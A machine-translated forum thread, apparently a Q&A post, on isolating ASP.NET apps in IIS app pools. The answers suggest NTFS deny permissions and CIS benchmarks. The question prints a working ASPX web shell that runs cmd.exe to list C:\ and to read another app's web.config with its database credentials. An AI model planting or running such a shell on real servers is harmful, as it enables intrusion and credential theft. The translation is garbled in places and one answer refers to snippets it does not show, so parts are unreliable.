Я настраиваю новую машину для размещения нескольких приложений asp.net. Моя цель - максимально изолировать приложения. В случае взлома одного из приложений все остальные должны быть в безопасности.
У меня конфигурация по умолчанию. Есть каталог c: \ wwwroot. В этом каталоге у меня есть папки \ AppA и \ AppB, содержащие файлы приложений. Каталог wwwroot имеет разрешения по умолчанию:
Users - read & execute
IIS_IUSRS - read & execute
Оба приложения запускаются в разных опросах приложений в собственном контексте безопасности:
IIS AppPool\AppA
IIS AppPoll\AppB
Допустим, кто-то взломал AppA и смог загрузить фальшивый файл "dir.aspx":
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c dir";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Сюрприз! По умолчанию злоумышленник имеет доступ для чтения к c: \ - output:
<html>
<body>
Volume in drive C is System
Volume Serial Number is ******
Directory of c:\
05.11.2018 14:39 <DIR> PerfLogs
21.12.2018 13:55 <DIR> Program Files
06.11.2018 15:03 <DIR> Program Files (x86)
20.12.2018 10:08 <DIR> Users
11.12.2018 01:33 <DIR> Windows
10.01.2019 19:36 <DIR> wwwroot
0 File(s) 0 bytes
8 Dir(s) 109˙008˙580˙608 bytes free
</body>
</html>
Теперь злоумышленник может легко просматривать файлы на всей машине и иметь доступ к AppB для чтения файла web.config AppB, раскрывающего его учетные данные базы данных и другие конфиденциальные данные:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Вывод:
<html>
<body>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connectionStrings>
<add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<customErrors mode="Off"/>
</system.web>
</configuration>
</body>
</html>
Вопрос в том, можно ли настроить разрешения IIS для лучшей изоляции приложений? Как такой сценарий вообще возможен?
Вы можете обойти проблему, установив acl разрешения ntfs для папки «application» с полным запретом «IIS AppPool \ AppA» и наоборот.
Да, это возможно.
Я могу дать общий обзор, но чтобы обезопасить всю систему, вам действительно стоит взглянуть на Индикаторы СНГ для IIS и Windows 2016. Эти тесты включают в себя слишком много настроек, чтобы перечислить их здесь, но сильно заблокируют ваш сервер и обеспечат вам хорошую безопасность.
Но вот пара вещей для начала.
Попробуйте тесты (эти фрагменты, которые я предоставил, включены в тест), а затем снова запустите тест. По умолчанию Windows не может быть безопасной для этого типа использования (или многих, если вы действительно до этого дойдете).